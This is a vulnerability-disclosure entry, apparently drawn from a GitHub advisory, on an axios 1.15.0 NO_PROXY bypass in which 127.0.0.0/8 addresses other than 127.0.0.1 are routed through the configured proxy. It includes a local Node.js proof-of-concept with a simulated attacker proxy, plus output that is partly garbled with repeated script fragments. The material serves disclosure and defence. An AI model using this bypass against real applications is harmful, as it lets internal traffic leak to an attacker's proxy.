# Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

Axios 1.15.0's NO_PROXY loopback check only whitelists 127.0.0.1, so requests to other 127.0.0.0/8 addresses are silently routed through the configured proxy.

- Payout: Research
- Severity: high
- Program: Axios
- Found by: sachinpatilpsp, IAMolofficial
- Disclosed: 2026-05-05
- CVE: CVE-2026-42043
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-pmwg-cvhr-8vh7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pmwg-cvhr-8vh7
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:ssrf

**Target:** npm axios HTTP client NO_PROXY matching (lib/helpers/shouldBypassProxy.js)
**Root cause:** The patch for CVE-2025-62718 hardcodes LOOPBACK_ADDRESSES = Set(['localhost','127.0.0.1','::1']); isLoopback() returns false for any other address in the RFC 1122 127.0.0.0/8 loopback block, so shouldBypassProxy() fails to match and the request is sent to the configured proxy.
**Steps:**
1. Set `HTTP_PROXY=http://127.0.0.1:5300` and `NO_PROXY=localhost,127.0.0.1,::1` in a Node app using axios 1.15.0.
2. Run a listener on port 5300 to act as the proxy.
3. Call `axios.get('http://127.0.0.2:9191/secret')` (also `127.0.0.100`, `127.1.2.3`).
4. Observe the proxy receives the full request (method, URL, Host header) instead of a direct connection; `localhost`, `localhost.`, `[::1]` correctly go direct.
**How found:** Reviewed the 1.15.0 patch for CVE-2025-62718, noticed the fix replaced string normalization with a hardcoded three-entry loopback Set, and reasoned from RFC 1122 §3.2.1.3 that the whole 127.0.0.0/8 block is loopback — then tested sibling addresses.
**Exploitation:** An attacker who can influence the target URL of an Axios request (user input, redirect chain, SSRF vector) substitutes 127.0.0.1 with any other 127.x.x.x address; Axios forwards the request to the attacker-controlled proxy, which captures headers, body and the internal service response, defeating NO_PROXY-based SSRF protection.
**Insight:** When a patch replaces a comparison with a hardcoded allowlist of 'special' values, check the underlying standard's full definition of that class (e.g. RFC 1122 loopback /8, IPv4-mapped IPv6 forms) — the allowlist is usually narrower than the spec.

## Proof of concept (copied exactly from the original report)

**PoC script testing 127.0.0.0/8 NO_PROXY bypass**

```
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);
```

**PoC execution output showing proxy hits**

```
=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

**Step 4 — Execute the PoC**

node poc.js

**3.2 Observed Output**
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED
```

